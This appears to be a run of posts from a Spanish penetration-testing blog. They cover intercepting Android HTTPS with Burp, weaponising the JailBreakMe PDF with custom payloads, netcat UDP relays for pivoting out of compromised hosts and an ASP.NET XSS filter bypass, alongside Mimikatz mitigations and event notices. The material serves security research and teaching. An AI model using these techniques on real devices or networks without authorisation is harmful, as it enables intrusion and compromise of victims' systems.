martes, 11 de diciembre de 2012

5º Aniversario de Pentester.Es

Como ya anuncié en su momento, hoy hace exactamente 5 años que se publicó el primer post de Pentester.Es, un 11 de Diciembre de 2007: http://www.pentester.es/2008/08/nace-wwwpentesteres.html

El blog empezó como una idea entre tres amigos de publicar la información que obteníamos en nuestros "trasteos". De retribuir al mundo algo del conocimiento que habíamos adquirido de él. Luego, con el paso del tiempo, se ha convertido practicamente en un proyecto individual, aunque las contribuciones siempre han sido bien recibidas.

La frecuencia de publicación ha ido variando con el paso del tiempo, en función de la disponibilidad del editor (que no ha sido mucha), pero intentando siempre poner artículos interesantes, aunque fueran pocos.

Durante estos 5 años hay a mucha gente a la que agradecer que este blog que yo en un principio pensé que acabaríamos leyendo 4 amigos se haya convertido en un blog con muchos más lectores de lo que hubiera llegado a imaginar.

Me gustaría darles las gracias desde aquí a todas las personas que han contribuido con artículos, porque libera un poco de la carga de trabajo que supone la publicación de contenido de forma regular. También me gustaría agradecer a Yago Jesús, del blog SecurityByDefault (conocido por todos), porque fue el precursor del salto de este blog del estatus de "blog de amigos" a "blog público" gracias a un post titulado "Blogs interesantes de Seguridad" que publicó allá por el 2009 y que podéis leer AQUÍ.

Y por supuesto, y por encima de todo, gracias a todas las personas que leéis este blog y que comentáis los artículos, a pesar de que la frecuencia de ellos sea menor de la que nos gustaría, pero que seguís leyendo detenidamente cada cosa que escribimos.

Dicho esto, como sabéis y os comenté EN ESTE POST, este sábado es la celebración del cumpleaños. Las plazas ya están cerradas pero os dejo aquí el orden final de las charlas y sus títulos para los que ya estáis apuntados:

10:30 - 11:30 - "Un laboratorio GSM por menos de 100€" (José Picó & David Pérez).
11:30 - 12:30 - "What lies Internet beneath?" (Juan Garrido & Pepelux)
12:30 - 13:30 - "Criptografía en CTFs" (Dani Kachakil)

Tras estas charlas, nos iremos a comer una paellita con algún que otro picoteo como celebración, y después... estamos abierto a cualquier propuesta :)

Gracias a todos los que venís, y a los que no venís... con un poco de suerte nos veremos en el 10º aniversario ;)

martes, 6 de noviembre de 2012

Análisis de Tráfico SSL en Android 4.x


El post de hoy no trata de ninguna nueva técnica ni nada excesivamente sofisticado, sino más bien de algo que es conocido pero que la gente con memoria de pez como yo se ve obligado a buscar una y otra vez cuando necesita hacer algo.

Cuando queremos analizar una aplicación de Android, ya sea para hacer una auditoría o para analizar si tiene algún componente malicioso (en mi caso suele ser lo primero), una de las cosas que tenemos que mirar son los puntos de comunicación con el exterior. Uno de los medios de comunicación más habituales es el uso de HTTP para comunicarse con aplicaciones web externas o web services. Hasta aquí ningún problema, podemos suplantar el nombre empleando el módulo fakedns de Metasploit ([1] [2] [3]) e interceptar las comunicaciones empleando Burp Proxy, ZAP o cualquier otro a vuestra elección.

El principal problema ocurre cuando esta comunicación es HTTPS, ya que estos proxies lo que hacen es crear una CA interna y van generando certificados firmados por esta CA para cada web que visitas (el funcionamiento puede cambiarse, pero este es el que viene por defecto con Burp). Esta CA creada por Burp, evidentemente, no es de confianza para nuestro Android, así que se nos muestra un mensaje de advertencia como el que vemos arriba o, sencillamente, la aplicación que estamos auditando rechazará la conexión por no estar firmado el certificado por una CA de confianza.

Como muchas veces la aplicación no nos va a dejar que aceptemos este certificado, vamos a tener que hacer algo para que nuestro Android confíe en la CA de nuestro Burp, así que lo primero que vamos a hacer es obtener la clave pública de esa CA. La manera más sencilla es hacer que nuestro navegador estandar use el burp y visitar cualquier web por HTTPS. Si vemos el detalle de los certificados veremos que podemos exportarlos en varios formatos. Hagámoslo en PEM:


Ahora que tenemos el certificado habrá que subirlo de algún modo a nuestro dispositivo. Se puede hacer de varias formas, pero una de las más cómodas es usar el comando "adb" que viene con el SDK de Android:

$ adb push PortSwiggerCA.pem /sdcard/
107 KB/s (1038 bytes in 0.009s)

Ya lo tenemos subido ¿y ahora dónde lo metemos? En versiones anteriores de Android los certificados de las CAs de confianza se encontraban en un único fichero que debíamos bajar a nuestro equipo, añadir la nueva CA y posteriormente volverlo a subir. En el caso de Android 4 la cosa ha cambiado un poco, ahora tenemos una serie de ficheros en /system/etc/security/cacerts/ que contienen cada uno de ellos un certificado de una CA:

$ adb shell
shell@android:/ $ su
shell@android:/ # cd /system/etc/security/cacerts/
shell@android:/system/etc/security/cacerts # ls -la
-rw-r--r-- root     root         4767 2012-09-28 14:15 00673b5b.0
-rw-r--r-- root     root         4573 2012-09-28 14:15 03e16f6c.0
-rw-r--r-- root     root         5292 2012-09-28 14:15 08aef7bb.0
-rw-r--r-- root     root         4540 2012-09-28 14:15 0d188d89.0
-rw-r--r-- root     root         4614 2012-09-28 14:15 10531352.0
-rw-r--r-- root     root         4686 2012-09-28 14:15 111e6273.0
-rw-r--r-- root     root         5027 2012-09-28 14:15 1155c94b.0
-rw-r--r-- root     root         5345 2012-09-28 14:15 119afc2e.0
-rw-r--r-- root     root         5844 2012-09-28 14:15 11a09b38.0
[...]

Parece que, si disponemos de acceso root, debería ser tan fácil como colocar nuestro fichero PEM en este directorio ¿Con cualquier nombre? Pues no, cualquier nombre no vale. Esos números que vemos no son más que un hash del subject del certificado, y se usan como si fuera una tabla hash, es decir, cuando se obtiene un certificado que está firmado por una CA, se realiza el hash del subject de esta CA y se busca el fichero con este nombre. Si se producen colisiones en el hash se va incrementando el número de la extensión (.0 .1 .2 ...). Para obtener ese hash lo podemos hacer con openssl de la siguiente forma:

$ openssl x509 -noout -subject_hash_old -in PortSwiggerCA.pem
9a5ba575

Ahora solo nos quedará meter el certificado en el lugar indicado con el nombre adecuado. Para ello, depende del rooteo que hayamos hecho, es probable que tengamos que remontar en lectura/escritura la partición /system:

shell@android:/system/etc/security/cacerts # mount -o rw,remount /system
shell@android:/system/etc/security/cacerts # cat /sdcard/PortSwiggerCA.pem > 9a5ba575.0
shell@android:/system/etc/security/cacerts # mount -o ro,remount /system

Hecho esto ya solo tenemos que reiniciar el terminal y volver a repetir el proceso. Ahora cuando visitemos una página HTTPS a través de Burp, el navegador va a aceptar el certificado que éste le proporciona, y por tanto va a poder inspeccionar y modificar este tráfico.

Lo mismo va a ocurrir con las aplicaciones en las que no podíamos simplemente darle a "aceptar certificado", con lo que ya tenemos resuelto el problema de inspeccionar este tráfico.

Ahora quedaría mirar si, dentro de ese tráfico, podemos manipular la información o hacer algo con lo que vulneremos la seguridad de la aplicación, pero eso ya... es otra historia.

miércoles, 24 de octubre de 2012

From JailBreakMe to Jail0wnMe

Tal y como le comentaba a Chema Alonso en la entrevista que me ha hecho en su blog con motivo del quinto aniversario de Pentester.Es, pensé en liberar el "exploit" (por llamarlo de alguna manera) del Jail0wnMe que presenté en las Conferencias No cON Name el año pasado, pero fue una de esas cosas que te quedas con que ya lo has hecho, y en realidad solo pensaste hacerlas :P

Como más vale tarde que nunca, acabo de colgar en TOOLS.PENTESTER.ES los scripts que utilicé. No solo el que convierte el PDF de JailBreakMe a Jail0wnMe, sino también los Payloads que utilicé. Ahora hay más Payloads por ahí, pero en su momento, cuando lo tuve que hacer, no encontré ninguno que me encajara, así que me los programé yo mismo. Os los dejo para que podáis reaprovechar el trabajo: PINCHA AQUÍ.

Además de colgar los scripts como tal, os voy a explicar un poco qué es lo que hacen ¿Por qué? Pues porque siempre es útil saber como funcionan las herramientas por debajo, y porque lo que he colgado no es una herramienta como tal, sino un script que me hice parar solucionar un problema que me surgió durante un Pentest, así que no está probado más que con los dispositivos que me encontré. Si os encontráis con algún problema en algún otro dispositivo, quizá tengáis que hacer pequeños cambios.

¡VAMOS ALLÁ!

Lo primero de todo es conseguir el PDF de JailBreakMe para el dispositivo y versión que queremos explotar. Parar ello únicamente hay que visitar la web de JailBreakMe 3.0 y descargarlo, pero... tenemos un problemilla, y es que la web nos va a dar el PDF adecuado en función de la versión que detecte en nuestro User-Agent, con lo cual no vamos a poder descargarlo empleando un navegado "normal", y tampoco usando un iPhone o iPad de la versión adecuada (si disponemos de uno) porque se ejecutaría el exploit, así que la solución que empleé fue usar la extensión de Firefox User Agent Switcher, con la que podemos hacer creer a la web que somos la versión del dispositivo que queremos explotar:


Una vez que hemos conseguido bajar el PDF, si le pegamos un vistazo dentro con cualquier editor, veremos que mayoritariamente es texto, pero que hay un stream que está encodeado. Si lo extraemos y decodificamos tendremos algo así:


$ file pfb.raw 
pfb.raw: PostScript Type 1 font program data

¡MUCHO OJO! No hagáis un "cat" del fichero, porque dentro el cachondo de Comex (el autor del exploit original) ha puesto esto:


En otros sistemas no sé que pasará, pero en mi MacBook son dos combinaciones que hace que la ventana se minimice y se maximice, por eso lo llama "Terminal Fun" el muy .... xDDDD Cuidado con esto si no queréis terminar matando vuestro terminal o esperando un par de horas a que acabe de divertirse :P

Volviendo a nuestro caso, como sabéis la vulnerabilidades está en el parseo de las fuentes, así que vamos por buen camino. Si miramos dentro de la fuente veremos que tenemos texto y trozos que, al igual que estaba la fuente antes, están comprimidos. Si buscamos entre ellos (los scripts que os he pasado ya van a por el adecuado) nos encontramos uno que, al descomprimirlo, es algo así:



$ file binary.raw 
binary.raw: Mach-O executable arm


¿Un binario de Apple para plataforma ARM DENTRO de un PDF? ¡Eso tiene pinta de ser algo!
Efectivamente, es un binario que se ejecuta en nuestro dispositivo iOS y que se trae de la web de JailBreakMe todo lo necesario para realizar el JailBreak.

¿Qué pasa ahora si cambiamos este binario por uno de nuestro elección? Pues básicamente es lo que hacen los scripts que acabo de colgar:

  1. Coge el binario que le hayáis pasado.
  2. Lo comprime y lo rellena de basura para que ocupe el mismo espacio que el original.
  3. Lo coloca substituyendo al original y vuelve a construir el PFB.
  4. Lo comprime y lo vuelve a colocar substituyendo al PFB original dentro del PDF.
  5. Os crea un PDF nuevo con estas modificaciones.

Si miráis el código veréis que "la búsqueda" de todo esto es un poco rudimentaria, pero creo que con lo que os explico en este post tenéis suficiente para rehacerlo si fuera necesario.

También tenéis, como os he dicho, ejemplos de Payloads y un par de shellscripts con los comandos GCC que utilicé yo para compilar desde mi MacBook.

Por último, os dejo el video de la demostración que hice en NcN el año pasado.
Disfrutadlo con salud ;)


lunes, 22 de octubre de 2012

Paella y Charlas para el Cumpleaños de Pentester.Es

Algunos de vosotros ya os habéis dado cuenta de la presencia desde hace unos meses de un contador en la parte derecha del blog al que en este momento le quedan unos 50 días para llegar a cero. Ha habido gente que me ha preguntado si iba a ser padre y este es un contador de lo que falta, pero no, eso lo dejaremos para un poco más adelante, aunque me ha gustado la idea :D

El contador llegará a cero el día 11 de Diciembre de 2012, momento en el cual hará 5 años que este blog puso su primer post. Puede parecer una tontería romántica, pero en el momento que lo monté me causó mucho esfuerzo y muchos problemas (que no entraré a mencionar), y en este momento me siento muy contento de que esté perdurando hasta hoy (aunque sí, lo sé, hay que escribir más :P).

El caso es que el siguiente sábado, el 15 de Diciembre de 2012, organizo en Valencia una Fiesta de Cumpleaños de Pentester.Es, pero en lugar de gorritos de fiesta y matasuegras, que no nos pegarían nada de nada, he invitado a varios amigos del mundo de la seguridad para que nos den unas charlas, y luego rematar comiendo una Paella Valenciana (como no podía ser de otra manera). Por lo tanto, entre las 10:30 y las 14:30 de ese día 15 de Diciembre, los asistentes podrán disfrutar de las charlas de (en orden alfabético):


Dani Kachakil es Ingeniero Informático y Máster en Ingeniería del Software por la UPV. Desde el año 2003 dirige el departamento de desarrollo de Electronic Dreams, empresa de la que es cofundador y copropietario.

Es participante habitual en numerosos retos de hacking ético a nivel nacional e internacional, online y presenciales, de forma individual y en equipo (int3pids), habiendo ganado u obtenido puestos destacados en la mayoría de ellos. También ha sido ponente en varias conferencias y cursos relacionados con la seguridad informática.
David Pérez es analista de seguridad de Taddong, una compañía dedicada a la investigación y servicios de seguridad, la cual cofundó en 2010. David tiene más de 10 años de experiencia proporcionando servicios avanzados de seguridad a clientes nacionales e internacionales, incluyendo varias compañías que se encuentran en la lista "Fortune Global 500". Está totalmente involucrado en las actividades de investigación de Taddong en áreas de seguridad como comunicaciones GSM/UMTS o seguridad en Windows. Además, es una de las tres personas que en este momento ostentan en España el certificado GSE (GIAC Security Expert) del SANS Institute.


Jose Luis Verdeguer (aka Pepelux) es Ingeniero Técnico de Sistemas Informáticos y Master en Desarrollo de Aplicaciones Web.
Lleva cerca de 20 años dedicado a diferentes campos dentro del mundo de las TI. En la actualidad es Director de Sistemas en el operador de VoIP Zoonsuite, donde realiza tareas de administración de Linux y sistemas de VoIP.

Pepelux también es gran apasionado de los retos de seguridad y participa activamente en tantos como puede.


Juan Garrido es un apasionado de la seguridad. Consultor especializado en análisis forense y test de intrusión, trabajando en proyectos de seguridad desde hace más de 8 años. Autor del libro “Análisis forense digital en entornos Windows” así como de artículos técnicos publicados en prensa especializada y medios digitales.

Juan es un ponente común en muchas de las conferencias más importantes a nivel nacional y del panorama internacional, como bien pueden ser NoConName, RootedCon, Defcon, Troopers, etc…



Las charlas tendrán lugar en el aula de formación del Colegio de Ingenieros en Informática, situada en la Avenida Baron de Carcer 48, 3ºO (también llamada "Avenida del Oeste"). El sitio está a unos 15 minutos andando de la estación de tren, como podéis ver AQUÍ. Una vez charloteados, nos desplazaremos POR ESTE CAMINITO hasta el casal de la Falla Plaza del Pilar, donde nos comeremos esa paellita de la que hemos hablado.

¿Os apetece? ¡Genial! La celebración está abierta a cualquier lector del blog, la única pre-condición es que, al ser las plazas tan limitadas, es necesario dejar la comida pagada (10€) a modo de señal, para no encontrarme con que haya gente que se apunte sin tener claro si va a poder venir o no y luego encontrarme con una paella encargada para tropocientos donde al final se presenta la mitad de gente. Seguro que me entendéis :P

Al que le interese asistir que debe escribir un correo a XXXXX (ocultado tras el evento) dando sus datos (nombre y DNI) y la cantidad de personas que van a ser y os mandaré una solicitud de pago por PayPal (se puede pagar con tarjeta de crédito sin tener cuenta de Paypal). Si alguien viene con pareja y esta se va a quedar dando una vuelta por Valencia mientras estamos de charla, que me lo diga para tener en cuenta las plazas de charla y de comida, ya que las primeras son un poco más limitadas. Recordad que la plaza no estará confirmada hasta que el pago no se haga efectivo.

En principio las horas de las charlas y la comida se han puesto de tal forma que la persona que quiera pueda ir y volver en el día por si a algún lector no le viene bien hacer noche en Valencia, pero al que le apetezca puede aprovechar la escusa para quedarse una o dos noches y ver la ciudad.

Según las estadísticas de visitas de este blog, la mayoría de lectores se encuentran en Madrid y en Barcelona, así que he creado tres grupos de Google: MADRID, BARCELONA y RESTO ¿Por qué? Pues porque es mucho más barato viajar en grupo que de forma individual. Podéis quedar varias personas para venir en coche, o comprar entre cuatro uno de esos billetes de tren que coges los cuatro asientos de la mesa y pagas solamente dos. Simplemente los he creado para que tengáis un medio para coordinaros si consideráis oportuno hacerlo.

Por último, pero no por ello menos importante, Miguel Gesteiro ha sido tan amable de ofrecerse a montar un CTF para la ocasión, empleando su conocido H4ckC0nt3st. Aún tenemos que ver como lo vamos a montar, pero seguramente estará on-line durante unos días antes del día de las charlas/paella.

¡Seguiremos informando! Mientras tanto, ya sabéis, los interesados podéis ir usando las listas y apuntaros si os apetece pasar este quinto cumpleaños con nosotros.

lunes, 15 de octubre de 2012

Luchando contra Mimikatz/WCE

Sin duda, uno de los descubrimientos de más trascendencia de este año fue la publicación primero por parte de PentestMonkey y posteriormente por PaulDotCom de la existencia de una herramienta llamada Mimikatz mediante la cual era posible obtener las contraseñas en texto claro de los usuarios de Windows directamente desde la memoria, y de la que ya hablé en este mismo blog AQUÍ.

Desde que apareció esta nueva técnica, tanto yo como cualquier Pentester, la hemos usado ampliamente durante nuestras auditorías, ya que conocer la contraseña en texto claro nos da la oportunidad de usarla en sistemas o aplicaciones no-Microsoft, algo que con otras técnica como el Pass-the-Hash o el Pass-the-Token no sucede. Esto ha llevado a dos cosas, la primera es una gran sorpresa por parte de los clientes cuando ven en el informe de auditoría que se pueden recuperar las contraseñas en texto claro, con una conversación que suele ser algo así:

Pentester: ... Y entonces volcamos esta contraseña en texto claro y la utilizamos para entrar en la aplicación XXX y...
Cliente: Espera, espera, espera ¿Windows se guarda mi contraseña en texto plano en la memoria?
Pentester: Sí, exactamente.
Cliente: Uffff.... ¡Menuda cagada!

 Pues sí, menuda cagada... pero a continuación viene la pregunta obligada:

Cliente: Y qué hacemos?

Esta es una pregunta que me han hecho en numerosas ocasiones ya, tanto clientes como amigos del mundo de la seguridad, ya que esto, como ocurre con el Pass-the-Hash, se considera una feature y no un bug, así que en principio Microsoft no va a sacar ningún tipo de parche de seguridad que lo corrija.

Ya que parece que vamos a tener que vivir con ello mucho tiempo, vamos a ver algunas aproximaciones que nos pueden ayudar a luchar contra esta técnica:

Deshabilitar los Security Packages

Sabemos que la causa de que Windows se guarda nuestras credenciales en texto plano (en realidad, con un cifrado reversible, pero a efectos prácticos da igual) es que la emplea para algunos servicios de SSO a través de los llamados Security Packages:

Imagen "prestada" del artículo que escribió mi compañero Ramón Pinuaga en el blog de S21sec

Estos Security Packages pueden ser desactivados editando el registro HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages, por lo que la mejor opción para protegernos de esta técnica sería deshabilitarlos todos. No obstante, yo no soy sysadmin ni security admin y no tengo acceso a una red REAL en la que probar si esta solución puede ocasionar problemas de funcionamiento, por lo que recomiendo aplicarlo con cautela y con las pruebas previas adecuadas.

Como esto no va a ser siempre posible, y además no tenemos la certeza de que solo almacenen las contraseñas estos módulos, vamos a ver algunas otras mitigaciones.

Borrarlo de la Memoria

Una opción "para valientes" es, igual que estas herramientas se van a la memoria y recuperan la información, modificar el código fuente para que la sobreescriban. En el caso de WCE tendríamos que hacer Ingeniería Inversa de la herramienta, pero en el caso de Mimikatz, su código fuente está disponible AQUÍ, así que podemos cogerlo e intentar hacer nuestra propia versión que lo que haga sea sobreescribir las credenciales encontradas. Os adelanto que el código de donde se obtiene la información está en el directorio "sekurlsa/Security Packages":


Los offsets de donde está la información están referenciados dentro de la función "searchWDigestEntryList", según he podido ver. Esta es una solución que no me he metido a fondo a probar, ya que me parece aún más arriesgada que la primera, por aquello de sobreescribir repetidamente la memoria de un sistema en producción, además de que solo nos protege de que se obtengan las credenciales de aquellos lugares en los que se conoce que están, pero no tenemos la certeza de que existan en más sitios. En cualquier caso, es una alternativa que se podría estudiar más en profundidad si fuera necesario, a ver si tiene repercusiones de estabilidad en las máquinas o no, y si tiene ventajas con respecto a la primera.

 Reiniciar los Equipos de Usuario

Uno de los sitios donde no merece mucho la pena centrar esfuerzos en mitigar estas técnicas es en los equipos de usuario ¿por qué? Porque generalmente en los equipos de usuario... suele haber usuarios, y los usuarios tienen la fea costumbre de teclear sus contraseñas, con lo que al final vamos a poder obtener su contraseña en texto claro de todos modos. La única diferencia va a ser que con Mimikatz/WCE las obtendremos directamente, y si no podemos usar esta técnica tendremos que "motivar" al usuario a que la vuelva a teclear, cerrándole la sesión o poniéndole delante una ventana que parezca un bloqueo de sesión para que introduzca su contraseña, pero al final la contraseña se obtendrá.

El único peligro extra con los equipos de usuario es que obtengamos más credenciales además de la del usuario que lo está utilizando, por ejemplo un administrador que conectó para tareas de mantenimiento. Por esto es recomendable que el administrador, después de realizar sus tareas de mantenimiento, no cierre sesión y deje que el usuario continue trabajando, sino que realice un reinicio del equipo. No estaría de más tampoco que los equipos de usuario tuvieran programado un reinicio periódico nocturno, que por otra parte es necesario para que se apliquen los parches de seguridad, así que es una medida muy recomendable.

Reiniciar los Servidores

Como comentábamos, uno de los mayores peligros de esta técnica es que las credenciales permanecen en la memoria todo el tiempo que el sistema esté sin reiniciarse. Esto puede provocar que encontremos en ella credenciales de usuarios que accedieron al sistema meses antes de producirse la intrusión:


Evidentemente, un sistema servidor no es lo mismo que un equipo de usuario, y no podemos reiniciarlo cada vez que realizamos una tarea de administración, ya que ofrece servicios al resto de la empresa que en la mayoría de los casos no se pueden detener. Aún así, planificar reinicios periódicos (manuales o automáticos) minimizaría la cantidad de información que se puede obtener con estas técnicas. Si reiniciamos cada semana, pues solo se podrán obtener las credenciales de los usuarios que accedieron esa semana. No es una corrección definitiva pero es una manera de mitigar los efectos del uso de estas técnicas.

Usar Autenticación por Red

En entornos Microsoft, se diferencian básicamente tres clases de autenticación. La primera de ellas es el login en el terminal físico, la segunda de ellas es el login por escritorio remoto/terminal server, y la tercera es el acceso por red. Mucha gente con la que he hablado pensaba que con Mimikatz/WCE era posible obtener las credenciales de cualquier tipo de autenticación, es decir, que si comprometes un servidor de ficheros automáticamente obtienes las credenciales de todos los usuarios que tienen montadas carpetas de red. Esto no es así en absoluto.

Si pensamos de una manera más abstracta... para que estas herramientas puedan extraer mi contraseña en claro, tiene que haber estado en algún momento en la memoria del sistema ¿cierto? ¿Y en cuales de estos mecanismos lo hacemos? En el caso del acceso físico está claro que sí, y en el caso del acceso por escritorio remoto también, porque lo que se nos muestra es una ventana de login que es ofrecida por el sistema al que conectamos, así que pasará lo mismo.

En el caso de la autenticación a través de red, esto es radicalmente distinto. Microsoft utiliza los protocolos NTLM o Kerberos, que están basados en mecanismos de reto-respuesta. Veamos un ejemplo de como sería empleando NTLM:

http://www.defenceindepth.net/

Todos los mecanismos de reto-respuesta consisten, de forma básica, en que el servidor al que quieres generar te envía un número grande y aleatorio (el resto) que tu debes cifrar con algún tipo de clave precompartida. Este resultado del cifrado (la respuesta) se enviará al servidor para que este compruebe, realizando el mismo proceso, si la respuesta que a él le sale coincide con la tuya. Si es así, es porque ambos conocéis la misma clave, y por tanto te autentica. En los sistemas Microsoft, esta clave con la que realiza el cifrado no es la clave en si, sino el Hash de ella, que es lo que se almacena en los sistemas. Entonces... ¿cómo se va a poder obtener en este caso la contraseña en claro? Sencillo, NO se puede, porque esta contraseña en claro NUNCA ha sido tecleada en el servidor, por lo que "solo" podrá obtenerse el hash.


Debido a esto, todas las herramientas de administración que funcionen a través de la red no van a dejar ningún rasto en el sistema, por lo que deberemos usarlas siempre que sea posible para evitar dejar las contraseñas de administración en claro en el servidor. Esta puede ser una de las mejoras soluciones (aparte de deshabilitar los security packages), ya que podemos realizar la gran mayoría de gestiones de administración (usuarios, servicios, disco, ficheros, etc) sin necesidad de hacer login en el equipo:

El Administrator está porque es con el que hice el login físico para hacer el volcado, pero el resto no aparecen

Cambiar las Contraseñas

Hemos estado hablando todo el rato de la aproximación de "que no me puedan capturar las contraseñas en texto claro", pero en realidad existe otra aproximación igual de buena: "que no les sirvan para nada las contraseñas que me capturen". La aproximación más "artesanal" de esta idea es cambiar la contraseña de Administrador con frecuencia, de tal forma que si dejé rastro en un sistema de la contraseña del mes pasado, este mes ya no les sirva esa contraseña. OJO, no vale el famoso truco de usar la misma palabra e ir cambiando el número final, porque es algo que sin duda va a probar un atacante. Tiene que ser una contraseña completamente diferente.

En algunos clientes a los que he tenido la oportunidad de visitar he visto sistemas que cumplen perfectamente esta función. Estos sistemas tienen control sobre una serie de usuarios que se pueden emplear para administrar los sistemas, los cuales se mantienen deshabilitados. En el momento que un administrador, a través del interface web, solicita el acceso al sistema para administrarlo, el sistema le asigna una contraseña aleatoria y se la proporciona al administrador, y habilita el usuario. Pasado el tiempo que éste ha solicitado, el usuario se deshabilita de nuevo automáticamente.

Este tipo de sistemas, aunque fueron diseñados como medio de control sobre los usuarios administradores en entornos donde existe mucho proveedor externo, proporciona una protección muy buena ante el tipo de ataques que comentamos, ya que las contraseñas robadas no van a tener ninguna utilidad.

Estas son todas las contramedidas que se me han ocurrido a mi y que he recomendado cuando me han preguntado sobre el tema, pero si tienes tu propia solución... es el momento de que dejes un comentario :)

miércoles, 26 de septiembre de 2012

Relaying SSH con UDP

Como ya sabéis algunos, me encuentro impartiendo en estos momentos curso del SANS Institute SEC-560: Network Penetration Testing & Ethical Hacking. Durante el transcurso de las clases, mientras veíamos la parte de pivoting, comentábamos que, en ocasiones, todos los puertos TCP pueden estar cerrados de salida, lo cual dificulta hacer el pivoting, aunque no lo imposibilita.

Como una de las posibles soluciones a esta situación está que en muchas empresas existen reglas para permitir la realización de peticiones DNS hacia Internet. Estas peticiones emplean el puerto 53/UDP, por lo que vamos a poder utilizar este puerto para realizar una conexión inversa y realizar el pivoting. En realidad, un relay de puertos mediante UDP es (muy) levemente distinto a un relay de puertos puramente TCP, como el que vimos hace ya tiempo AQUÍ (si alguien no domina este concepto, recomiendo su lectura previa a este post). Sin embargo, he visto en ocasiones gente que ha publicado herramientas específicas para hacer relay empleando puertos de salida UDP, quizá porque no se han parado a analizar profundamente la potencia que herramientas como NetCat nos ofrece:

$ nc -h
usage: nc [-46CDdhklnrtUuvz] [-b boundif] [-i interval] [-p source_port]
 [-s source_ip_address] [-w timeout] [-X proxy_version]
 [-x proxy_address[:port]] [hostname] [port[s]]
Command Summary:
-4 Use IPv4
                [...]
                -u UDP mode
                [...]

NetCat nos da la opción de usarlo en modo UDP (-u), tanto cuando lo empleamos en modo cliente como cuando lo empleamos en modo escucha. Esto nos permite una gran flexibilidad a la hora de definir conexiones. A modo de ejemplo, vamos a ver como podríamos establecer una conexión SSH a una máquina interna haciendo que el relay se estableciera mediante conexiones UDP al puerto 53:


En primer lugar, deberíamos poner en nuestro equipo "algo" a escuchar en el puerto 53/udp para recoger la conexión que nos vamos a mandar desde el equipo comprometido, y a su vez que este nos ofrezca el servicio SSH en algún puerto al que podamos conectar mediante un cliente SSH estándar. Para ello emplearemos NCat, que es la implementación que viene con la suite NMap del antiguo NetCat y que ya vimos EN ESTE POST. Como podéis ver, ponemos dos NCat's a la escucha, uno en el puerto 22/tcp y otro en el puerto 53/udp, conectados entre si. El orden en el que se llaman es importante, ya que el primero que se ejecuta debería ser el que primero vaya a recibir la conexión, en este caso el UDP.


A continuación, en la máquina comprometida, empleamos NetCat para hacer lo mismo que antes pero, esta vez, en modo cliente en lugar de a la escucha ¿Por qué usamos NetCat en lugar de NCat? Sencillamente porque NetCat está pensado para funcionar de forma standalone, mientras que NCat tiene algunas dependencias de las que podríamos no disponer en el sistema comprometido.

En este momento ya tenemos un NetCat que conecta al puerto 22/tcp de la máquina comprometida, que le pasa la información a otro NetCat que conecta a nuestro sistema al puerto 53/tcp y le pasa esta misma información al NCat que tenemos aquí a la escucha, que a su vez se lo pasa todo al NCat que hemos puesto a la escucha en nuestro puerto 22/tcp, por lo que... ¿Qué ocurrirá ahora si conectamos a nuestro puerto 22/tcp? Veamoslo:


Como podemos ver, conseguimos conectar al puerto SSH de la máquina comprometida, al que al principio no podríamos llegar, pero nos aprovechamos que la salida a través del 53/udp está permitida para cambiar de protocolo la conexión de tcp a udp, para luego en nuestro equipo deshacer este cambio y poder emplear un cliente estándar.

Es solo un pequeño ejemplo más de las cosas que se pueden hacer con NetCat/NCat. Por algo le llaman "la navaja suiza".

lunes, 10 de septiembre de 2012

Bypassing .NET Request Validation

Hace un par de semana leía ESTE artículo de Zamir Paltiel en el que comentaba haber descubierto una nueva forma de evadir la seguridad proporcionada por el Request Validation de .NET para realizar ataques de Cross Site Scripting (XSS).

Como ya sabéis, las aplicaciones web desarrolladas en entornos .NET (típicamente ASP.NET) tienen una serie de medidas de seguridad que vienen aplicadas por el framework y por defecto, lo cual dificulta algunos tipos de ataques a pesar de que existan vulnerabilidades en el código.

Una de las protecciones que proporciona el framework es el Request Validation (ver documentación oficial AQUÍ o la publicada por owasp AQUÍ). Esta protección, que como comentamos viene activada por defecto, filtra determinados caracteres en las entradas de datos de los usuarios que podrían ser utilizados para realizar ataques de scripting. Veamos, sacado de la guía OWASP, que caracteres son esos:


La guía OWASP no mencionada nada de versiones posteriores de ASP.NET, como la 4.0, pero si buscamos un poco podemos encontrar AQUÍ como parece que no ha habido diferencias en cuanto a los caracteres filtrados, aunque sí se ha ampliado el "espectro" de entradas a las que se le aplica esta protección.

En resumidas cuentas, a pesar de que en el código fuente exista una vulnerabilidad de XSS, si el desarrollador o administrador no ha deshabilitado la protección de Request Validation vamos a tener que no vamos a poder explotarlo con ninguna cadena que contenta el símbolo de abrir tag seguido de cualquier letra, el símbolo de admiración o la barra del tag cerrado. Si lo hacemos, nos encontraremos con un bonito error como el siguiente:


¿Cómo podemos evadir esta protección? Pues... en general, podríamos hablar de que tenemos dos opciones. La primera es aprovecharnos de que no en todos los XSS es necesario abrir y cerrar tags, así que eso nos da una opción para explotarlo según donde se encuentre la vulnerabilidad dentro del código HTML. Esta no creo que la pudiéramos considerar como "saltarse la protección", sino más bien como darse la vuelta y buscar otra puerta por donde entrar.

La otra opción es encontrar una forma de abusar de la flexibilidad que tienen los lenguajes HTML y Javascript, y de la tolerancia a fallos que tienen los navegadores para encontrar alguna forma "extraña" de ejecutar el script que sea aceptada por los navegadores pero que no siga la forma típica. En general, al ser formas "enrevesadas", suele pasar que solamente funcionan en un tipo concreto de navegador, ya que están un poco "fuera del estandar".

En este caso, Zamir Paltiel ha encontrado una forma de evadir esta protección y explotar XSS's en navegadores Internet Explorer, de la siguiente forma:


El tag "tag", con el símbolo porcentaje delante, es interpretado como un tag HTML correcto por Internet Explorer, por lo que es posible emplear las técnicas habituales, como por ejemplo utilizar el parámetro "style" para introducir la ejecución de un Alert en Javascript:


Como siempre, quien dice alert dice robo de credenciales o cualquier otra cosa, siempre y cuando no empleemos alguno de los otros caracteres "prohibidos" que harán saltar las protecciones de Request Validation.

Para un Pentest, digamos que con esto hemos cumplido, hemos encontrado un fallo en la aplicación que podemos explotar a pesar de las protecciones del framework. En el mundo real, los navegadores (o módulos adicionales como NoScript) disponen de protecciones anti-XSS que pueden impedir esta ejecución, así que habría que encadenar este bypass que hemos comentado en este post con el bypass de estas protecciones anti-XSS. Si os interesa un ejemplo de como saltar protecciones anti-XSS, a mi me gustó mucho el Write-Up que escribió Pepelux al reto de Infiltrados de Informática64, cuya primera fase trataba 100% sobre este tema.

jueves, 30 de agosto de 2012

Explotando CVE-2012-4681 (Java 0-day)

